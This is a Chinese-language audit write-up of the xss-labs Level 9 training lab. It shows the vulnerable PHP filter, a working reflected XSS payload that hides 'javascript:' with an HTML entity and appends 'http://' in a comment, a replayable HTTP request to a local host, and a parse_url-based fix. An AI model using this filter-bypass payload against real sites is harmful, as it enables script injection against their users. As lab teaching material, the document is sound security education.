xss-labs-level9-代码审计报告

21次阅读
没有评论

xss-labs Level9 代码审计报告

目标文件: level9.php | 漏洞类型: 反射型 XSS —— href 伪协议注入(绕过 http:// 字符串校验) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: GET /level9.php?keyword=<payload> → <a href="...">友情链接</a>


一、漏洞代码定位

level9.php 第 17-39 行:

$str = strtolower($_GET["keyword"]);
$str2 = str_replace("script", "scr_ipt", $str);   // L18 ... 同 Level8 的过滤链
$str3 = str_replace("on", "o_n", $str2);
$str4 = str_replace("src", "sr_c", $str3);
$str5 = str_replace("data", "da_ta", $str4);
$str6 = str_replace("href", "hr_ef", $str5);
$str7 = str_replace('"', '&quot', $str6);         // L23
...
if (false === strpos($str7, 'http://')) {          // L32 校验:必须包含 http://
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';   // L38 危险:未校验 scheme
}

漏洞点: L38。校验逻辑仅判断字符串是否包含 http:// 子串,而不校验 URL 的实际 scheme 是否为 http,也不拦截伪协议。


二、漏洞原理

  • Level9 在 Level8 基础上加了一道"必须含 http://"的校验,但用的是 strpos($str7, 'http://') —— 只查"包含",不解析 URL scheme。
  • 攻击者把 http:// 作为无害占位混进 payload 即可通过校验,真正的执行载体仍是 javascript::
    • java&#x73;cript:alert(1)//http://
    • 过滤链对字面量 script 的替换被 &#x73; 实体打断(同 Level8);http:// 出现在注释里,满足 strpos 校验;浏览器解码 href 后,javascript:alert(1)//http:// 中 //http:// 是 JS 行注释,alert(1) 照常执行。
  • 已实测: 该 payload 经 Level9 过滤链后原样通过且含 http://,可进入 L38 输出。

三、利用方式与 Yakit 可重放数据包

Payload(URL 解码后):

?keyword=java&#x73;cript:alert(1)//http://

Yakit 可重放原始请求:

GET /level9.php?keyword=java%26%23x73%3Bcript:alert(1)//http:// HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

触发方式: 发送后页面出现"友情链接"(校验通过),点击 → 执行 alert(1) → 命中通关逻辑跳转 level10。


四、修复建议

$str = $_GET["keyword"] ?? "";
// 正确姿势:解析并校验真实 scheme,而不是判断“是否包含 http:// 字符串”
$scheme = strtolower((string)parse_url($str, PHP_URL_SCHEME));
if ($scheme !== "http" && $scheme !== "https") {
    $link = "#";                            // 拒绝 javascript:/data:/ftp: 等
} else {
    $link = $str;
}
echo '<center><BR><a href="'.htmlspecialchars($link, ENT_QUOTES, 'UTF-8').'">友情链接</a></center>';

要点:

  1. 用 parse_url() 解析出真实 scheme 做白名单,绝不能 strpos 查子串 —— 子串可以被注释、实体、占位内容混入。
  2. 输出编码 htmlspecialchars ENT_QUOTES。
  3. 纵深: CSP 收紧 script-src/navigate-to。

五、备注

  • 已实测: java&#x73;cript:alert(1)//http:// 与 java&#x73;cript:alert(1)/*http://*/ 均通过过滤且含 http://;两者均可,主推注释形式 //。
  • 审计启示: 用"包含关键字"做安全校验是一类高频误用(与之类似:用 strpos 判断"存在"而非解析结构)。URL 校验必须解析结构(scheme/host)后再决策。
正文完
 0